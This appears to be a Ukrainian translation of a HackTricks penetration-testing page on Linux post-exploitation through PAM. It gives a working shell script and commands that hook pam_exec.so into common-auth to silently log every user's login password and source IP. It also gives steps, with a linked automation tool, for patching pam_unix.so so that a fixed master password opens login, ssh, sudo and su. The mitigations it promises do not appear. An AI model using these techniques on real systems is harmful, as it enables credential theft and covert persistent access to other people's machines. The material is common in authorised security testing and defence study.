Linux Post-Exploitation

Підтримайте HackTricks

Підловлення паролів для входу за допомогою PAM

Давайте налаштуємо модуль PAM для реєстрації кожного пароля, який використовує кожен користувач для входу. Якщо ви не знаєте, що таке PAM, перегляньте:

PAM - Pluggable Authentication Modules

Для отримання додаткових відомостей перегляньте оригінальний пост. Це лише краткий огляд:

Огляд техніки: Модулі підключення аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією в системах на основі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також створюють ризики у разі некоректного використання. Цей огляд наводить техніку захоплення облікових даних для входу за допомогою PAM, разом зі стратегіями пом'якшення наслідків.

Захоплення облікових даних:

  • Створено сценарій bash під назвою toomanysecrets.sh, щоб реєструвати спроби входу, захоплюючи дату, ім'я користувача ($PAM_USER), пароль (через stdin) та IP-адресу віддаленого хоста ($PAM_RHOST) у файл /var/log/toomanysecrets.log.

  • Сценарій зроблено виконуваним та інтегровано в конфігурацію PAM (common-auth) за допомогою модуля pam_exec.so з опціями для тихого запуску та викладення токену аутентифікації сценарію.

  • Підхід демонструє, як скомпрометований хост Linux може бути використаний для конфіденційного реєстрування облікових даних.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Додавання задніх дверей в PAM

Для отримання додаткової інформації перегляньте оригінальний пост. Це лише краткий опис:

Модуль аутентифікації, який можна підключати (PAM), є системою, що використовується в Linux для аутентифікації користувачів. Він працює на трьох основних концепціях: ім'я користувача, пароль та сервіс. Файли конфігурації для кожного сервісу розташовані в каталозі /etc/pam.d/, де спільні бібліотеки відповідають за аутентифікацію.

Мета: Змінити PAM для можливості аутентифікації за допомогою конкретного пароля, обходячи фактичний пароль користувача. Це особливо актуально для спільної бібліотеки pam_unix.so, яку використовує файл common-auth, що включений майже у всі сервіси для перевірки пароля.

Кроки для модифікації pam_unix.so:

  1. Знайдіть директиву аутентифікації у файлі common-auth:

  • Рядок, що відповідає за перевірку пароля користувача, викликає pam_unix.so.

  1. Змініть вихідний код:

  • Додайте умовний оператор у вихідний файл pam_unix_auth.c, який надає доступ, якщо використовується попередньо визначений пароль, в іншому випадку продовжується звичайний процес аутентифікації.

  1. Перекомпілюйте та замініть змінену бібліотеку pam_unix.so у відповідному каталозі.

  2. Тестування:

  • Доступ надається до різних сервісів (логін, ssh, sudo, su, заставка) за допомогою попередньо визначеного пароля, тоді як звичайні процеси аутентифікації залишаються незмінними.

Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor

Last updated